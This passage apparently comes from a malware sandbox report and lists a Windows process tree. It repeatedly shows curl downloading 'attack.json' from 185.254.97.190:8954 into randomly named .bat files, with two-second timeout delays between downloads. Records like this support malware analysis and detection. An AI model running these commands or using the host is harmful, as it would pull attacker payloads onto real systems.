  curl -o 25213.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2508
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1932
- C:\Windows\system32\curl.exe
  curl -o 12317.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4472
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4524
- C:\Windows\system32\curl.exe
  curl -o 18392.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2004
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:888
- C:\Windows\system32\curl.exe
  curl -o 27012.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3152
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:544
- C:\Windows\system32\curl.exe
  curl -o 18899.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1736
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2816
- C:\Windows\system32\curl.exe
  curl -o 6431.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3292
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2992
- C:\Windows\system32\curl.exe
  curl -o 23041.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2748
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2128
- C:\Windows\system32\curl.exe
  curl -o 19646.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3680
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3688
- C:\Windows\system32\curl.exe
  curl -o 20304.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4436
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4696
- C:\Windows\system32\curl.exe
  curl -o 1643.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:984
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2408
- C:\Windows\system32\curl.exe
  curl -o 30486.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3136
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4552
- C:\Windows\system32\curl.exe
  curl -o 11222.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3704
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:852
- C:\Windows\system32\curl.exe
  curl -o 24387.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3496
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3104
- C:\Windows\system32\curl.exe
  curl -o 24097.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2544
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:900
- C:\Windows\system32\curl.exe
  curl -o 11139.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4620
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2364
- C:\Windows\system32\curl.exe
  curl -o 25881.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1236
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1480
- C:\Windows\system32\curl.exe
  curl -o 5141.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:5072
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3308
- C:\Windows\system32\curl.exe
  curl -o 28952.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:948
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2900
- C:\Windows\system32\curl.exe
  curl -o 25752.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1068
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3008
- C:\Windows\system32\curl.exe
  curl -o 20779.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4508
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3544
- C:\Windows\system32\curl.exe
  curl -o 16940.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3904
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3940
- C:\Windows\system32\curl.exe
  curl -o 26414.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4872
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3348
- C:\Windows\system32\curl.exe
  curl -o 31627.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1672
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3760
- C:\Windows\system32\curl.exe
  curl -o 12793.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2584
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2792
- C:\Windows\system32\curl.exe
  curl -o 31502.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2548
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:744
- C:\Windows\system32\curl.exe
  curl -o 17884.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3696
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1872
- C:\Windows\system32\curl.exe
  curl -o 29116.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2952
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2436
- C:\Windows\system32\curl.exe
  curl -o 3568.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1104
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2620
- C:\Windows\system32\curl.exe
  curl -o 19402.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1948
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4528
- C:\Windows\system32\curl.exe
  curl -o 17678.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:228
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2072
- C:\Windows\system32\curl.exe
  curl -o 16957.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1540
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3416
- C:\Windows\system32\curl.exe
  curl -o 19309.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4904
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3076
- C:\Windows\system32\curl.exe
  curl -o 14996.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2968
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2448
- C:\Windows\system32\curl.exe
  curl -o 26161.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4684
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4892
- C:\Windows\system32\curl.exe
  curl -o 27794.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4896
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4460
- C:\Windows\system32\curl.exe
  curl -o 8308.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3900
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2000
- C:\Windows\system32\curl.exe
  curl -o 18351.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4464
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3296
- C:\Windows\system32\curl.exe
  curl -o 397.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1848
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3776
- C:\Windows\system32\curl.exe
  curl -o 7349.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3068
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3400
- C:\Windows\system32\curl.exe
  curl -o 10916.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3952
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1308
- C:\Windows\system32\curl.exe
  curl -o 30096.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4804
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2124
- C:\Windows\system32\curl.exe
  curl -o 15829.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4600
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1916
- C:\Windows\system32\curl.exe
  curl -o 5214.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4924
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2696
- C:\Windows\system32\curl.exe
  curl -o 17258.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4808
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1980
- C:\Windows\system32\curl.exe
  curl -o 7232.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1412
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4624
- C:\Windows\system32\curl.exe
  curl -o 9724.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:128
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1316
- C:\Windows\system32\curl.exe
  curl -o 14720.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4048
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1420
- C:\Windows\system32\curl.exe
  curl -o 25718.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4864
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1736
- C:\Windows\system32\curl.exe
  curl -o 3074.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2816
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3292
- C:\Windows\system32\curl.exe
  curl -o 20811.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4588
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4688
- C:\Windows\system32\curl.exe
  curl -o 28183.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2128
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3680
- C:\Windows\system32\curl.exe
  curl -o 12395.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3956
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2500
- C:\Windows\system32\curl.exe
  curl -o 17206.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3016
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:5036
- C:\Windows\system32\curl.exe
  curl -o 20913.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:984
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1436
- C:\Windows\system32\curl.exe
  curl -o 5409.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:416
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3644
- C:\Windows\system32\curl.exe
  curl -o 29659.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1216
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3968
- C:\Windows\system32\curl.exe
  curl -o 15229.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:404
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3444
- C:\Windows\system32\curl.exe
  curl -o 23642.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1936
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2288
- C:\Windows\system32\curl.exe
  curl -o 26858.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:928
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2828
- C:\Windows\system32\curl.exe
  curl -o 12914.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4160
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3304
- C:\Windows\system32\curl.exe
  curl -o 4638.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2964
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2784
- C:\Windows\system32\curl.exe
  curl -o 24706.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2680
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2388
- C:\Windows\system32\curl.exe
  curl -o 1677.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1920
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2152
- C:\Windows\system32\curl.exe
  curl -o 5233.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1312
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2820
- C:\Windows\system32\curl.exe
  curl -o 4008.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1904
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:708
- C:\Windows\system32\curl.exe
  curl -o 140.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:440
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4188
- C:\Windows\system32\curl.exe
  curl -o 21176.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1184
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4796
- C:\Windows\system32\curl.exe
  curl -o 18526.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3488
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:432
- C:\Windows\system32\curl.exe
  curl -o 21209.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3864
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1612
- C:\Windows\system32\curl.exe
  curl -o 8526.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4192
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1492
- C:\Windows\system32\curl.exe
  curl -o 7087.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1672
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3536
- C:\Windows\system32\curl.exe
  curl -o 11514.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2120
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:904
- C:\Windows\system32\curl.exe
  curl -o 8895.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:864
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4396
- C:\Windows\system32\curl.exe
  curl -o 944.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3552
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4616
- C:\Windows\system32\curl.exe
  curl -o 7316.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:5056
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3388
- C:\Windows\system32\curl.exe
  curl -o 22388.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2700
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3124
- C:\Windows\system32\curl.exe
  curl -o 11293.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3164
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3912
- C:\Windows\system32\curl.exe
  curl -o 7285.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1724
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:800
- C:\Windows\system32\curl.exe
  curl -o 17893.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1176
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1260
- C:\Windows\system32\curl.exe
  curl -o 18908.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4648
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1392
- C:\Windows\system32\curl.exe
  curl -o 11792.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4684
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4892
- C:\Windows\system32\curl.exe
  curl -o 7768.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4896
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4460
- C:\Windows\system32\curl.exe
  curl -o 28486.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3856
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2000
- C:\Windows\system32\curl.exe
  curl -o 28122.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4464
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:236
- C:\Windows\system32\curl.exe
  curl -o 23026.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4200
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2392
- C:\Windows\system32\curl.exe
  curl -o 27227.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3712
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3960
- C:\Windows\system32\curl.exe
  curl -o 22145.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1820
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:784
- C:\Windows\system32\curl.exe
  curl -o 10144.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1308
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4804
- C:\Windows\system32\curl.exe
  curl -o 27263.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1844
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1516
- C:\Windows\system32\curl.exe
  curl -o 23132.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1388
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1380
- C:\Windows\system32\curl.exe
  curl -o 4043.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:5112
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:464
- C:\Windows\system32\curl.exe
  curl -o 5405.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3744
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4808
- C:\Windows\system32\curl.exe
  curl -o 13878.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1980
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1960
- C:\Windows\system32\curl.exe
  curl -o 6633.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4524
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3480
- C:\Windows\system32\curl.exe
  curl -o 19273.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1660
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1696
- C:\Windows\system32\curl.exe
  curl -o 19828.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:792
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2424
- C:\Windows\system32\curl.exe
  curl -o 16642.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3292
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2992
- C:\Windows\system32\curl.exe
  curl -o 341.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2748
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4244
- C:\Windows\system32\curl.exe
  curl -o 5074.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3680
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3956
- C:\Windows\system32\curl.exe
  curl -o 13484.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2040
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:580
- C:\Windows\system32\curl.exe
  curl -o 4378.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3556
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3612
- C:\Windows\system32\curl.exe
  curl -o 9995.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4444
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2196
- C:\Windows\system32\curl.exe
  curl -o 27383.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2660
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3568
- C:\Windows\system32\curl.exe
  curl -o 14249.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2452
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:404
- C:\Windows\system32\curl.exe
  curl -o 19238.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2136
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1160
- C:\Windows\system32\curl.exe
  curl -o 6947.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2288
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4164
- C:\Windows\system32\curl.exe
  curl -o 26176.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2484
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2068
- C:\Windows\system32\curl.exe
  curl -o 1115.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2772
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1688
- C:\Windows\system32\curl.exe
  curl -o 22947.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1440
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2364
- C:\Windows\system32\curl.exe
  curl -o 307.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1236
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4576
- C:\Windows\system32\curl.exe
  curl -o 12729.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4380
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4324
- C:\Windows\system32\curl.exe
  curl -o 4661.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3472
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4012
- C:\Windows\system32\curl.exe
  curl -o 9096.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3008
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1044
- C:\Windows\system32\curl.exe
  curl -o 31848.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3544
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3904
- C:\Windows\system32\curl.exe
  curl -o 7085.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2688
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3488
- C:\Windows\system32\curl.exe
  curl -o 3809.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1092
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2912
- C:\Windows\system32\curl.exe
  curl -o 5674.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:492
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2584
- C:\Windows\system32\curl.exe
  curl -o 8661.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2556
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3456
- C:\Windows\system32\curl.exe
  curl -o 3506.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1584
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1884
- C:\Windows\system32\curl.exe
  curl -o 818.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3552
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4616
- C:\Windows\system32\curl.exe
  curl -o 1629.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:5056
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2456
- C:\Windows\system32\curl.exe
  curl -o 25866.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:960
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:228
- C:\Windows\system32\curl.exe
  curl -o 5861.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4932
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2988
- C:\Windows\system32\curl.exe
  curl -o 17498.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4712
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3100
- C:\Windows\system32\curl.exe
  curl -o 11484.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:800
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1100
- C:\Windows\system32\curl.exe
  curl -o 13033.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1368
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1176
- C:\Windows\system32\curl.exe
  curl -o 27511.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4372
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2292
- C:\Windows\system32\curl.exe
  curl -o 1373.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3880
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:996
- C:\Windows\system32\curl.exe
  curl -o 16875.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3128
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4284
- C:\Windows\system32\curl.exe
  curl -o 11957.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3368
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2840
- C:\Windows\system32\curl.exe
  curl -o 32105.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2908
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1848
- C:\Windows\system32\curl.exe
  curl -o 7365.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4568
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3560
- C:\Windows\system32\curl.exe
  curl -o 31802.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3448
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1048
- C:\Windows\system32\curl.exe
  curl -o 17772.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1204
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5104
- C:\Windows\system32\curl.exe
  curl -o 4755.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4804
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1844
- C:\Windows\system32\curl.exe
  curl -o 21144.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3540
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1916
- C:\Windows\system32\curl.exe
  curl -o 30477.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1684
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1692
- C:\Windows\system32\curl.exe
  curl -o 2903.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:464
